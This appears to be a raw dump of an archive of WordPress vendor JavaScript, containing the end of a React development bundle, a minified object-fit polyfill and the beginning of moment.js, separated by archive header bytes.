      case NormalPriority:
      default:
        timeout = NORMAL_PRIORITY_TIMEOUT;
        break;
    }

    var expirationTime = startTime + timeout;
    var newTask = {
      id: taskIdCounter++,
      callback: callback,
      priorityLevel: priorityLevel,
      startTime: startTime,
      expirationTime: expirationTime,
      sortIndex: -1
    };

    if (startTime > currentTime) {
      // This is a delayed task.
      newTask.sortIndex = startTime;
      push(timerQueue, newTask);

      if (peek(taskQueue) === null && newTask === peek(timerQueue)) {
        // All tasks are delayed, and this is the task with the earliest delay.
        if (isHostTimeoutScheduled) {
          // Cancel an existing timeout.
          cancelHostTimeout();
        } else {
          isHostTimeoutScheduled = true;
        } // Schedule a timeout.


        requestHostTimeout(handleTimeout, startTime - currentTime);
      }
    } else {
      newTask.sortIndex = expirationTime;
      push(taskQueue, newTask);
      // wait until the next time we yield.


      if (!isHostCallbackScheduled && !isPerformingWork) {
        isHostCallbackScheduled = true;
        requestHostCallback(flushWork);
      }
    }

    return newTask;
  }

  function unstable_pauseExecution() {
  }

  function unstable_continueExecution() {

    if (!isHostCallbackScheduled && !isPerformingWork) {
      isHostCallbackScheduled = true;
      requestHostCallback(flushWork);
    }
  }

  function unstable_getFirstCallbackNode() {
    return peek(taskQueue);
  }

  function unstable_cancelCallback(task) {
    // remove from the queue because you can't remove arbitrary nodes from an
    // array based heap, only the first one.)


    task.callback = null;
  }

  function unstable_getCurrentPriorityLevel() {
    return currentPriorityLevel;
  }

  var isMessageLoopRunning = false;
  var scheduledHostCallback = null;
  var taskTimeoutID = -1; // Scheduler periodically yields in case there is other work on the main
  // thread, like user events. By default, it yields multiple times per frame.
  // It does not attempt to align with frame boundaries, since most tasks don't
  // need to be frame aligned; for those that do, use requestAnimationFrame.

  var frameInterval = frameYieldMs;
  var startTime = -1;

  function shouldYieldToHost() {
    var timeElapsed = getCurrentTime() - startTime;

    if (timeElapsed < frameInterval) {
      // The main thread has only been blocked for a really short amount of time;
      // smaller than a single frame. Don't yield yet.
      return false;
    } // The main thread has been blocked for a non-negligible amount of time. We


    return true;
  }

  function requestPaint() {

  }

  function forceFrameRate(fps) {
    if (fps < 0 || fps > 125) {
      // Using console['error'] to evade Babel and ESLint
      console['error']('forceFrameRate takes a positive int between 0 and 125, ' + 'forcing frame rates higher than 125 fps is not supported');
      return;
    }

    if (fps > 0) {
      frameInterval = Math.floor(1000 / fps);
    } else {
      // reset the framerate
      frameInterval = frameYieldMs;
    }
  }

  var performWorkUntilDeadline = function () {
    if (scheduledHostCallback !== null) {
      var currentTime = getCurrentTime(); // Keep track of the start time so we can measure how long the main thread
      // has been blocked.

      startTime = currentTime;
      var hasTimeRemaining = true; // If a scheduler task throws, exit the current browser task so the
      // error can be observed.
      //
      // Intentionally not using a try-catch, since that makes some debugging
      // techniques harder. Instead, if `scheduledHostCallback` errors, then
      // `hasMoreWork` will remain true, and we'll continue the work loop.

      var hasMoreWork = true;

      try {
        hasMoreWork = scheduledHostCallback(hasTimeRemaining, currentTime);
      } finally {
        if (hasMoreWork) {
          // If there's more work, schedule the next message event at the end
          // of the preceding one.
          schedulePerformWorkUntilDeadline();
        } else {
          isMessageLoopRunning = false;
          scheduledHostCallback = null;
        }
      }
    } else {
      isMessageLoopRunning = false;
    } // Yielding to the browser will give it a chance to paint, so we can
  };

  var schedulePerformWorkUntilDeadline;

  if (typeof localSetImmediate === 'function') {
    // Node.js and old IE.
    // There's a few reasons for why we prefer setImmediate.
    //
    // Unlike MessageChannel, it doesn't prevent a Node.js process from exiting.
    // (Even though this is a DOM fork of the Scheduler, you could get here
    // with a mix of Node.js 15+, which has a MessageChannel, and jsdom.)
    // https://github.com/facebook/react/issues/20756
    //
    // But also, it runs earlier which is the semantic we want.
    // If other browsers ever implement it, it's better to use it.
    // Although both of these would be inferior to native scheduling.
    schedulePerformWorkUntilDeadline = function () {
      localSetImmediate(performWorkUntilDeadline);
    };
  } else if (typeof MessageChannel !== 'undefined') {
    // DOM and Worker environments.
    // We prefer MessageChannel because of the 4ms setTimeout clamping.
    var channel = new MessageChannel();
    var port = channel.port2;
    channel.port1.onmessage = performWorkUntilDeadline;

    schedulePerformWorkUntilDeadline = function () {
      port.postMessage(null);
    };
  } else {
    // We should only fallback here in non-browser environments.
    schedulePerformWorkUntilDeadline = function () {
      localSetTimeout(performWorkUntilDeadline, 0);
    };
  }

  function requestHostCallback(callback) {
    scheduledHostCallback = callback;

    if (!isMessageLoopRunning) {
      isMessageLoopRunning = true;
      schedulePerformWorkUntilDeadline();
    }
  }

  function requestHostTimeout(callback, ms) {
    taskTimeoutID = localSetTimeout(function () {
      callback(getCurrentTime());
    }, ms);
  }

  function cancelHostTimeout() {
    localClearTimeout(taskTimeoutID);
    taskTimeoutID = -1;
  }

  var unstable_requestPaint = requestPaint;
  var unstable_Profiling =  null;



  var Scheduler = /*#__PURE__*/Object.freeze({
    __proto__: null,
    unstable_ImmediatePriority: ImmediatePriority,
    unstable_UserBlockingPriority: UserBlockingPriority,
    unstable_NormalPriority: NormalPriority,
    unstable_IdlePriority: IdlePriority,
    unstable_LowPriority: LowPriority,
    unstable_runWithPriority: unstable_runWithPriority,
    unstable_next: unstable_next,
    unstable_scheduleCallback: unstable_scheduleCallback,
    unstable_cancelCallback: unstable_cancelCallback,
    unstable_wrapCallback: unstable_wrapCallback,
    unstable_getCurrentPriorityLevel: unstable_getCurrentPriorityLevel,
    unstable_shouldYield: shouldYieldToHost,
    unstable_requestPaint: unstable_requestPaint,
    unstable_continueExecution: unstable_continueExecution,
    unstable_pauseExecution: unstable_pauseExecution,
    unstable_getFirstCallbackNode: unstable_getFirstCallbackNode,
    get unstable_now () { return getCurrentTime; },
    unstable_forceFrameRate: forceFrameRate,
    unstable_Profiling: unstable_Profiling
  });

  var ReactSharedInternals$1 = {
    ReactCurrentDispatcher: ReactCurrentDispatcher,
    ReactCurrentOwner: ReactCurrentOwner,
    ReactCurrentBatchConfig: ReactCurrentBatchConfig,
    // Re-export the schedule API(s) for UMD bundles.
    // This avoids introducing a dependency on a new UMD global in a minor update,
    // Since that would be a breaking change (e.g. for all existing CodeSandboxes).
    // This re-export is only required for UMD bundles;
    // CJS bundles use the shared NPM package.
    Scheduler: Scheduler
  };

  {
    ReactSharedInternals$1.ReactCurrentActQueue = ReactCurrentActQueue;
    ReactSharedInternals$1.ReactDebugCurrentFrame = ReactDebugCurrentFrame;
  }

  function startTransition(scope, options) {
    var prevTransition = ReactCurrentBatchConfig.transition;
    ReactCurrentBatchConfig.transition = {};
    var currentTransition = ReactCurrentBatchConfig.transition;

    {
      ReactCurrentBatchConfig.transition._updatedFibers = new Set();
    }

    try {
      scope();
    } finally {
      ReactCurrentBatchConfig.transition = prevTransition;

      {
        if (prevTransition === null && currentTransition._updatedFibers) {
          var updatedFibersCount = currentTransition._updatedFibers.size;

          if (updatedFibersCount > 10) {
            warn('Detected a large number of updates inside startTransition. ' + 'If this is due to a subscription please re-write it to use React provided hooks. ' + 'Otherwise concurrent mode guarantees are off the table.');
          }

          currentTransition._updatedFibers.clear();
        }
      }
    }
  }

  var didWarnAboutMessageChannel = false;
  var enqueueTaskImpl = null;
  function enqueueTask(task) {
    if (enqueueTaskImpl === null) {
      try {
        // read require off the module object to get around the bundlers.
        // we don't want them to detect a require and bundle a Node polyfill.
        var requireString = ('require' + Math.random()).slice(0, 7);
        var nodeRequire = module && module[requireString]; // assuming we're in node, let's try to get node's
        // version of setImmediate, bypassing fake timers if any.

        enqueueTaskImpl = nodeRequire.call(module, 'timers').setImmediate;
      } catch (_err) {
        // we're in a browser
        // we can't use regular timers because they may still be faked
        // so we try MessageChannel+postMessage instead
        enqueueTaskImpl = function (callback) {
          {
            if (didWarnAboutMessageChannel === false) {
              didWarnAboutMessageChannel = true;

              if (typeof MessageChannel === 'undefined') {
                error('This browser does not have a MessageChannel implementation, ' + 'so enqueuing tasks via await act(async () => ...) will fail. ' + 'Please file an issue at https://github.com/facebook/react/issues ' + 'if you encounter this warning.');
              }
            }
          }

          var channel = new MessageChannel();
          channel.port1.onmessage = callback;
          channel.port2.postMessage(undefined);
        };
      }
    }

    return enqueueTaskImpl(task);
  }

  var actScopeDepth = 0;
  var didWarnNoAwaitAct = false;
  function act(callback) {
    {
      // `act` calls can be nested, so we track the depth. This represents the
      // number of `act` scopes on the stack.
      var prevActScopeDepth = actScopeDepth;
      actScopeDepth++;

      if (ReactCurrentActQueue.current === null) {
        // This is the outermost `act` scope. Initialize the queue. The reconciler
        // will detect the queue and use it instead of Scheduler.
        ReactCurrentActQueue.current = [];
      }

      var prevIsBatchingLegacy = ReactCurrentActQueue.isBatchingLegacy;
      var result;

      try {
        // Used to reproduce behavior of `batchedUpdates` in legacy mode. Only
        // set to `true` while the given callback is executed, not for updates
        // triggered during an async event, because this is how the legacy
        // implementation of `act` behaved.
        ReactCurrentActQueue.isBatchingLegacy = true;
        result = callback(); // Replicate behavior of original `act` implementation in legacy mode,
        // which flushed updates immediately after the scope function exits, even
        // if it's an async function.

        if (!prevIsBatchingLegacy && ReactCurrentActQueue.didScheduleLegacyUpdate) {
          var queue = ReactCurrentActQueue.current;

          if (queue !== null) {
            ReactCurrentActQueue.didScheduleLegacyUpdate = false;
            flushActQueue(queue);
          }
        }
      } catch (error) {
        popActScope(prevActScopeDepth);
        throw error;
      } finally {
        ReactCurrentActQueue.isBatchingLegacy = prevIsBatchingLegacy;
      }

      if (result !== null && typeof result === 'object' && typeof result.then === 'function') {
        var thenableResult = result; // The callback is an async function (i.e. returned a promise). Wait
        // for it to resolve before exiting the current scope.

        var wasAwaited = false;
        var thenable = {
          then: function (resolve, reject) {
            wasAwaited = true;
            thenableResult.then(function (returnValue) {
              popActScope(prevActScopeDepth);

              if (actScopeDepth === 0) {
                // We've exited the outermost act scope. Recursively flush the
                // queue until there's no remaining work.
                recursivelyFlushAsyncActWork(returnValue, resolve, reject);
              } else {
                resolve(returnValue);
              }
            }, function (error) {
              // The callback threw an error.
              popActScope(prevActScopeDepth);
              reject(error);
            });
          }
        };

        {
          if (!didWarnNoAwaitAct && typeof Promise !== 'undefined') {
            // eslint-disable-next-line no-undef
            Promise.resolve().then(function () {}).then(function () {
              if (!wasAwaited) {
                didWarnNoAwaitAct = true;

                error('You called act(async () => ...) without await. ' + 'This could lead to unexpected testing behaviour, ' + 'interleaving multiple act calls and mixing their ' + 'scopes. ' + 'You should - await act(async () => ...);');
              }
            });
          }
        }

        return thenable;
      } else {
        var returnValue = result; // The callback is not an async function. Exit the current scope
        // immediately, without awaiting.

        popActScope(prevActScopeDepth);

        if (actScopeDepth === 0) {
          // Exiting the outermost act scope. Flush the queue.
          var _queue = ReactCurrentActQueue.current;

          if (_queue !== null) {
            flushActQueue(_queue);
            ReactCurrentActQueue.current = null;
          } // Return a thenable. If the user awaits it, we'll flush again in
          // case additional work was scheduled by a microtask.


          var _thenable = {
            then: function (resolve, reject) {
              // Confirm we haven't re-entered another `act` scope, in case
              // the user does something weird like await the thenable
              // multiple times.
              if (ReactCurrentActQueue.current === null) {
                // Recursively flush the queue until there's no remaining work.
                ReactCurrentActQueue.current = [];
                recursivelyFlushAsyncActWork(returnValue, resolve, reject);
              } else {
                resolve(returnValue);
              }
            }
          };
          return _thenable;
        } else {
          // Since we're inside a nested `act` scope, the returned thenable
          // immediately resolves. The outer scope will flush the queue.
          var _thenable2 = {
            then: function (resolve, reject) {
              resolve(returnValue);
            }
          };
          return _thenable2;
        }
      }
    }
  }

  function popActScope(prevActScopeDepth) {
    {
      if (prevActScopeDepth !== actScopeDepth - 1) {
        error('You seem to have overlapping act() calls, this is not supported. ' + 'Be sure to await previous act() calls before making a new one. ');
      }

      actScopeDepth = prevActScopeDepth;
    }
  }

  function recursivelyFlushAsyncActWork(returnValue, resolve, reject) {
    {
      var queue = ReactCurrentActQueue.current;

      if (queue !== null) {
        try {
          flushActQueue(queue);
          enqueueTask(function () {
            if (queue.length === 0) {
              // No additional work was scheduled. Finish.
              ReactCurrentActQueue.current = null;
              resolve(returnValue);
            } else {
              // Keep flushing work until there's none left.
              recursivelyFlushAsyncActWork(returnValue, resolve, reject);
            }
          });
        } catch (error) {
          reject(error);
        }
      } else {
        resolve(returnValue);
      }
    }
  }

  var isFlushing = false;

  function flushActQueue(queue) {
    {
      if (!isFlushing) {
        // Prevent re-entrance.
        isFlushing = true;
        var i = 0;

        try {
          for (; i < queue.length; i++) {
            var callback = queue[i];

            do {
              callback = callback(true);
            } while (callback !== null);
          }

          queue.length = 0;
        } catch (error) {
          // If something throws, leave the remaining callbacks on the queue.
          queue = queue.slice(i + 1);
          throw error;
        } finally {
          isFlushing = false;
        }
      }
    }
  }

  var createElement$1 =  createElementWithValidation ;
  var cloneElement$1 =  cloneElementWithValidation ;
  var createFactory =  createFactoryWithValidation ;
  var Children = {
    map: mapChildren,
    forEach: forEachChildren,
    count: countChildren,
    toArray: toArray,
    only: onlyChild
  };

  exports.Children = Children;
  exports.Component = Component;
  exports.Fragment = REACT_FRAGMENT_TYPE;
  exports.Profiler = REACT_PROFILER_TYPE;
  exports.PureComponent = PureComponent;
  exports.StrictMode = REACT_STRICT_MODE_TYPE;
  exports.Suspense = REACT_SUSPENSE_TYPE;
  exports.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED = ReactSharedInternals$1;
  exports.act = act;
  exports.cloneElement = cloneElement$1;
  exports.createContext = createContext;
  exports.createElement = createElement$1;
  exports.createFactory = createFactory;
  exports.createRef = createRef;
  exports.forwardRef = forwardRef;
  exports.isValidElement = isValidElement;
  exports.lazy = lazy;
  exports.memo = memo;
  exports.startTransition = startTransition;
  exports.unstable_act = act;
  exports.useCallback = useCallback;
  exports.useContext = useContext;
  exports.useDebugValue = useDebugValue;
  exports.useDeferredValue = useDeferredValue;
  exports.useEffect = useEffect;
  exports.useId = useId;
  exports.useImperativeHandle = useImperativeHandle;
  exports.useInsertionEffect = useInsertionEffect;
  exports.useLayoutEffect = useLayoutEffect;
  exports.useMemo = useMemo;
  exports.useReducer = useReducer;
  exports.useRef = useRef;
  exports.useState = useState;
  exports.useSyncExternalStore = useSyncExternalStore;
  exports.useTransition = useTransition;
  exports.version = ReactVersion;

})));
PKGfd[[��wp-polyfill-object-fit.min.jsnu�[���!function(){"use strict";if("undefined"!=typeof window){var t=window.navigator.userAgent.match(/Edge\/(\d{2})\./),e=t?parseInt(t[1],10):null,i=!!e&&16<=e&&e<=18;if("objectFit"in document.documentElement.style==0||i){var n=function(t,e,i){var n,o,l,a,d;if((i=i.split(" ")).length<2&&(i[1]=i[0]),"x"===t)n=i[0],o=i[1],l="left",a="right",d=e.clientWidth;else{if("y"!==t)return;n=i[1],o=i[0],l="top",a="bottom",d=e.clientHeight}if(n!==l&&o!==l){if(n!==a&&o!==a)return"center"===n||"50%"===n?(e.style[l]="50%",void(e.style["margin-"+l]=d/-2+"px")):void(0<=n.indexOf("%")?(n=parseInt(n,10))<50?(e.style[l]=n+"%",e.style["margin-"+l]=d*(n/-100)+"px"):(n=100-n,e.style[a]=n+"%",e.style["margin-"+a]=d*(n/-100)+"px"):e.style[l]=n);e.style[a]="0"}else e.style[l]="0"},o=function(t){var e=t.dataset?t.dataset.objectFit:t.getAttribute("data-object-fit"),i=t.dataset?t.dataset.objectPosition:t.getAttribute("data-object-position");e=e||"cover",i=i||"50% 50%";var o=t.parentNode;return function(t){var e=window.getComputedStyle(t,null),i=e.getPropertyValue("position"),n=e.getPropertyValue("overflow"),o=e.getPropertyValue("display");i&&"static"!==i||(t.style.position="relative"),"hidden"!==n&&(t.style.overflow="hidden"),o&&"inline"!==o||(t.style.display="block"),0===t.clientHeight&&(t.style.height="100%"),-1===t.className.indexOf("object-fit-polyfill")&&(t.className=t.className+" object-fit-polyfill")}(o),function(t){var e=window.getComputedStyle(t,null),i={"max-width":"none","max-height":"none","min-width":"0px","min-height":"0px",top:"auto",right:"auto",bottom:"auto",left:"auto","margin-top":"0px","margin-right":"0px","margin-bottom":"0px","margin-left":"0px"};for(var n in i)e.getPropertyValue(n)!==i[n]&&(t.style[n]=i[n])}(t),t.style.position="absolute",t.style.width="auto",t.style.height="auto","scale-down"===e&&(e=t.clientWidth<o.clientWidth&&t.clientHeight<o.clientHeight?"none":"contain"),"none"===e?(n("x",t,i),void n("y",t,i)):"fill"===e?(t.style.width="100%",t.style.height="100%",n("x",t,i),void n("y",t,i)):(t.style.height="100%",void("cover"===e&&t.clientWidth>o.clientWidth||"contain"===e&&t.clientWidth<o.clientWidth?(t.style.top="0",t.style.marginTop="0",n("x",t,i)):(t.style.width="100%",t.style.height="auto",t.style.left="0",t.style.marginLeft="0",n("y",t,i))))},l=function(t){if(void 0===t||t instanceof Event)t=document.querySelectorAll("[data-object-fit]");else if(t&&t.nodeName)t=[t];else if("object"!=typeof t||!t.length||!t[0].nodeName)return!1;for(var e=0;e<t.length;e++)if(t[e].nodeName){var n=t[e].nodeName.toLowerCase();if("img"===n){if(i)continue;t[e].complete?o(t[e]):t[e].addEventListener("load",(function(){o(this)}))}else"video"===n?0<t[e].readyState?o(t[e]):t[e].addEventListener("loadedmetadata",(function(){o(this)})):o(t[e])}return!0};"loading"===document.readyState?document.addEventListener("DOMContentLoaded",l):l(),window.addEventListener("resize",l),window.objectFitPolyfill=l}else window.objectFitPolyfill=function(){return!1}}}();PKGfd[zf�3�3�	moment.jsnu�[���//! moment.js
//! version : 2.30.1
//! authors : Tim Wood, Iskren Chernev, Moment.js contributors
//! license : MIT
//! momentjs.com

;(function (global, factory) {
    typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
    typeof define === 'function' && define.amd ? define(factory) :
    global.moment = factory()
}(this, (function () { 'use strict';

    var hookCallback;

    function hooks() {
        return hookCallback.apply(null, arguments);
    }

    // This is done to register the method called with moment()
    // without creating circular dependencies.
    function setHookCallback(callback) {
        hookCallback = callback;
    }

    function isArray(input) {
        return (
            input instanceof Array ||
            Object.prototype.toString.call(input) === '[object Array]'
        );
    }

    function isObject(input) {
        // IE8 will treat undefined and null as object if it wasn't for
        // input != null
        return (
            input != null &&
            Object.prototype.toString.call(input) === '[object Object]'
        );
    }

    function hasOwnProp(a, b) {
        return Object.prototype.hasOwnProperty.call(a, b);
    }

    function isObjectEmpty(obj) {
        if (Object.getOwnPropertyNames) {
            return Object.getOwnPropertyNames(obj).length === 0;
        } else {
            var k;
            for (k in obj) {
                if (hasOwnProp(obj, k)) {
                    return false;
                }
            }
            return true;
        }
    }

    function isUndefined(input) {
        return input === void 0;
    }

    function isNumber(input) {
        return (
            typeof input === 'number' ||
            Object.prototype.toString.call(input) === '[object Number]'
        );
    }

    function isDate(input) {
        return (
            input instanceof Date ||
            Object.prototype.toString.call(input) === '[object Date]'
        );
    }

    function map(arr, fn) {
        var res = [],
            i,
            arrLen = arr.length;
        for (i = 0; i < arrLen; ++i) {
            res.push(fn(arr[i], i));
        }
        return res;
    }

    function extend(a, b) {
        for (var i in b) {
            if (hasOwnProp(b, i)) {
                a[i] = b[i];
            }
        }

        if (hasOwnProp(b, 'toString')) {
            a.toString = b.toString;
        }

        if (hasOwnProp(b, 'valueOf')) {
            a.valueOf = b.valueOf;
        }

        return a;
    }

    function createUTC(input, format, locale, strict) {
        return createLocalOrUTC(input, format, locale, strict, true).utc();
    }

    function defaultParsingFlags() {
        // We need to deep clone this object.
        return {
            empty: false,
            unusedTokens: [],
            unusedInput: [],
            overflow: -2,
            charsLeftOver: 0,
            nullInput: false,
            invalidEra: null,
            invalidMonth: null,
            invalidFormat: false,
            userInvalidated: false,
            iso: false,
            parsedDateParts: [],
            era: null,
            meridiem: null,
            rfc2822: false,
            weekdayMismatch: false,
        };
    }

    function getParsingFlags(m) {
        if (m._pf == null) {
            m._pf = defaultParsingFlags();
        }
        return m._pf;
    }

    var some;
    if (Array.prototype.some) {
        some = Array.prototype.some;
    } else {
        some = function (fun) {
            var t = Object(this),
                len = t.length >>> 0,
                i;

            for (i = 0; i < len; i++) {
                if (i in t && fun.call(this, t[i], i, t)) {
                    return true;
                }
            }

            return false;
        };
    }

    function isValid(m) {
        var flags = null,
            parsedParts = false,
            isNowValid = m._d && !isNaN(m._d.getTime());
        if (isNowValid) {
            flags = getParsingFlags(m);
            parsedParts = some.call(flags.parsedDateParts, function (i) {
                return i != null;
            });
            isNowValid =
                flags.overflow < 0 &&
                !flags.empty &&
                !flags.invalidEra &&
                !flags.invalidMonth &&
                !flags.invalidWeekday &&
                !flags.weekdayMismatch &&
                !flags.nullInput &&
                !flags.invalidFormat &&
                !flags.userInvalidated &&
                (!flags.meridiem || (flags.meridiem && parsedParts));
            if (m._strict) {
                isNowValid =
                    isNowValid &&
                    flags.charsLeftOver === 0 &&
                    flags.unusedTokens.length === 0 &&
                    flags.bigHour === undefined;
            }
        }
        if (Object.isFrozen == null || !Object.isFrozen(m)) {
            m._isValid = isNowValid;
        } else {
            return isNowValid;
        }
        return m._isValid;
    }

    function createInvalid(flags) {
        var m = createUTC(NaN);
        if (flags != null) {
            extend(getParsingFlags(m), flags);
        } else {
            getParsingFlags(m).userInvalidated = true;
        }

        return m;
    }

    // Plugins that add properties should also add the key here (null value),
    // so we can properly clone ourselves.
    var momentProperties = (hooks.momentProperties = []),
        updateInProgress = false;

    function copyConfig(to, from) {
        var i,
            prop,
            val,
            momentPropertiesLen = momentProperties.length;

        if (!isUndefined(from._isAMomentObject)) {
            to._isAMomentObject = from._isAMomentObject;
        }
        if (!isUndefined(from._i)) {
            to._i = from._i;
        }
        if (!isUndefined(from._f)) {
            to._f = from._f;
        }
        if (!isUndefined(from._l)) {
            to._l = from._l;
        }
        if (!isUndefined(from._strict)) {
            to._strict = from._strict;
        }
        if (!isUndefined(from._tzm)) {
            to._tzm = from._tzm;
        }
        if (!isUndefined(from._isUTC)) {
            to._isUTC = from._isUTC;
        }
        if (!isUndefined(from._offset)) {
            to._offset = from._offset;
        }
        if (!isUndefined(from._pf)) {
            to._pf = getParsingFlags(from);
        }
        if (!isUndefined(from._locale)) {
            to._locale = from._locale;
        }

        if (momentPropertiesLen > 0) {
            for (i = 0; i < momentPropertiesLen; i++) {
                prop = momentProperties[i];
                val = from[prop];
                if (!isUndefined(val)) {
                    to[prop] = val;
                }
            }
        }

        return to;
    }

    // Moment prototype object
    function Moment(config) {
        copyConfig(this, config);
        this._d = new Date(config._d != null ? config._d.getTime() : NaN);
        if (!this.isValid()) {
            this._d = new Date(NaN);
        }
        // Prevent infinite loop in case updateOffset creates new moment
        // objects.
        if (updateInProgress === false) {
            updateInProgress = true;
            hooks.updateOffset(this);
            updateInProgress = false;
        }
    }

    function isMoment(obj) {
        return (
            obj instanceof Moment || (obj != null && obj._isAMomentObject != null)
        );
    }

    function warn(msg) {
        if (
            hooks.suppressDeprecationWarnings === false &&
            typeof console !== 'undefined' &&
            console.warn
        ) {
            console.warn('Deprecation warning: ' + msg);
        }
    }

    function deprecate(msg, fn) {
        var firstTime = true;

        return extend(function () {
            if (hooks.deprecationHandler != null) {
                hooks.deprecationHandler(null, msg);
            }
            if (firstTime) {
                var args = [],
                    arg,
                    i,
                    key,
                    argLen = arguments.length;
                for (i = 0; i < argLen; i++) {
                    arg = '';
                    if (typeof arguments[i] === 'object') {
                        arg += '\n[' + i + '] ';
                        for (key in arguments[0]) {
                            if (hasOwnProp(arguments[0], key)) {
                                arg += key + ': ' + arguments[0][key] + ', ';
                            }
                        }
                        arg = arg.slice(0, -2); // Remove trailing comma and space
                    } else {
                        arg = arguments[i];
                    }
                    args.push(arg);
                }
                warn(
                    msg +
                        '\nArguments: ' +
                        Array.prototype.slice.call(args).join('') +
                        '\n' +
                        new Error().stack
                );
                firstTime = false;
            }
            return fn.apply(this, arguments);
        }, fn);
    }

    var deprecations = {};

    function deprecateSimple(name, msg) {
        if (hooks.deprecationHandler != null) {
            hooks.deprecationHandler(name, msg);
        }
        if (!deprecations[name]) {
            warn(msg);
            deprecations[name] = true;
        }
    }

    hooks.suppressDeprecationWarnings = false;
    hooks.deprecationHandler = null;

    function isFunction(input) {
        return (
            (typeof Function !== 'undefined' && input instanceof Function) ||
            Object.prototype.toString.call(input) === '[object Function]'
        );
    }

    function set(config) {
        var prop, i;
        for (i in config) {
            if (hasOwnProp(config, i)) {
                prop = config[i];
                if (isFunction(prop)) {
                    this[i] = prop;
                } else {
                    this['_' + i] = prop;
                }
            }
        }
        this._config = config;
        // Lenient ordinal parsing accepts just a number in addition to
        // number + (possibly) stuff coming from _dayOfMonthOrdinalParse.
        // TODO: Remove "ordinalParse" fallback in next major release.
        this._dayOfMonthOrdinalParseLenient = new RegExp(
            (this._dayOfMonthOrdinalParse.source || this._ordinalParse.source) +
                '|' +
                /\d{1,2}/.source
        );
    }

    function mergeConfigs(parentConfig, childConfig) {
        var res = extend({}, parentConfig),
            prop;
        for (prop in childConfig) {
            if (hasOwnProp(childConfig, prop)) {
                if (isObject(parentConfig[prop]) && isObject(childConfig[prop])) {
                    res[prop] = {};
                    extend(res[prop], parentConfig[prop]);
                    extend(res[prop], childConfig[prop]);
                } else if (childConfig[prop] != null) {
                    res[prop] = childConfig[prop];
                } else {
                    delete res[prop];
                }
            }
        }
        for (prop in parentConfig) {
            if (
                hasOwnProp(parentConfig, prop) &&
                !hasOwnProp(childConfig, prop) &&
                isObject(parentConfig[prop])
            ) {
                // make sure changes to properties don't modify parent config
                res[prop] = extend({}, res[prop]);
            }
        }
        return res;
    }

    function Locale(config) {
        if (config != null) {
            this.set(config);
        }
    }

    var keys;

    if (Object.keys) {
        keys = Object.keys;
    } else {
        keys = function (obj) {
            var i,
                res = [];
            for (i in obj) {
                if (hasOwnProp(obj, i)) {
                    res.push(i);
                }
            }
            return res;
        };
    }

    var defaultCalendar = {
        sameDay: '[Today at] LT',
        nextDay: '[Tomorrow at] LT',
        nextWeek: 'dddd [at] LT',
        lastDay: '[Yesterday at] LT',
        lastWeek: '[Last] dddd [at] LT',
        sameElse: 'L',
    };

    function calendar(key, mom, now) {
        var output = this._calendar[key] || this._calendar['sameElse'];
        return isFunction(output) ? output.call(mom, now) : output;
    }

    function zeroFill(number, targetLength, forceSign) {
        var absNumber = '' + Math.abs(number),
            zerosToFill = targetLength - absNumber.length,
            sign = number >= 0;
        return (
            (sign ? (forceSign ? '+' : '') : '-') +
            Math.pow(10, Math.max(0, zerosToFill)).toString().substr(1) +
            absNumber
        );
    }

    var formattingTokens =
            /(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|N{1,5}|YYYYYY|YYYYY|YYYY|YY|y{2,4}|yo?|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,
        localFormattingTokens = /(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,
        formatFunctions = {},
        formatTokenFunctions = {};

    // token:    'M'
    // padded:   ['MM', 2]
    // ordinal:  'Mo'
    // callback: function () { this.month() + 1 }
    function addFormatToken(token, padded, ordinal, callback) {
        var func = callback;
        if (typeof callback === 'string') {
            func = function () {
                return this[callback]();
            };
        }
        if (token) {
            formatTokenFunctions[token] = func;
        }
        if (padded) {
            formatTokenFunctions[padded[0]] = function () {
                return zeroFill(func.apply(this, arguments), padded[1], padded[2]);
            };
        }
        if (ordinal) {
            formatTokenFunctions[ordinal] = function () {
                return this.localeData().ordinal(
                    func.apply(this, arguments),
                    token
                );
            };
        }
    }

    function removeFormattingTokens(input) {
        if (input.match(/\[[\s\S]/)) {
            return input.replace(/^\[|\]$/g, '');
        }
        return input.replace(/\\/g, '');
    }

    function makeFormatFunction(format) {
        var array = format.match(formattingTokens),
            i,
            length;

        for (i = 0, length = array.length; i < length; i++) {
            if (formatTokenFunctions[array[i]]) {
                array[i] = formatTokenFunctions[array[i]];
            } else {
                array[i] = removeFormattingTokens(array[i]);
            }
        }

        return function (mom) {
            var output = '',
                i;
            for (i = 0; i < length; i++) {
                output += isFunction(array[i])
                    ? array[i].call(mom, format)
                    : array[i];
            }
            return output;
        };
    }

    // format date using native date object
    function formatMoment(m, format) {
        if (!m.isValid()) {
            return m.localeData().invalidDate();
        }

        format = expandFormat(format, m.localeData());
        formatFunctions[format] =
            formatFunctions[format] || makeFormatFunction(format);

        return formatFunctions[format](m);
    }

    function expandFormat(format, locale) {
        var i = 5;

        function replaceLongDateFormatTokens(input) {
            return locale.longDateFormat(input) || input;
        }

        localFormattingTokens.lastIndex = 0;
        while (i >= 0 && localFormattingTokens.test(format)) {
            format = format.replace(
                localFormattingTokens,
                replaceLongDateFormatTokens
            );
            localFormattingTokens.lastIndex = 0;
            i -= 1;
        }

        return format;
    }

    var defaultLongDateFormat = {
        LTS: 'h:mm:ss A',
        LT: 'h:mm A',
        L: 'MM/DD/YYYY',
        LL: 'MMMM D, YYYY',
        LLL: 'MMMM D, YYYY h:mm A',
        LLLL: 'dddd, MMMM D, YYYY h:mm A',
    };

    function longDateFormat(key) {
        var format = this._longDateFormat[key],
            formatUpper = this._longDateFormat[key.toUpperCase()];

        if (format || !formatUpper) {
            return format;
        }

        this._longDateFormat[key] = formatUpper
            .match(formattingTokens)
            .map(function (tok) {
                if (
                    tok === 'MMMM' ||
                    tok === 'MM' ||
                    tok === 'DD' ||
                    tok === 'dddd'
                ) {
                    return tok.slice(1);
                }
                return tok;
            })
            .join('');

        return this._longDateFormat[key];
    }

    var defaultInvalidDate = 'Invalid date';

    function invalidDate() {
        return this._invalidDate;
    }

    var defaultOrdinal = '%d',
        defaultDayOfMonthOrdinalParse = /\d{1,2}/;

    function ordinal(number) {
        return this._ordinal.replace('%d', number);
    }

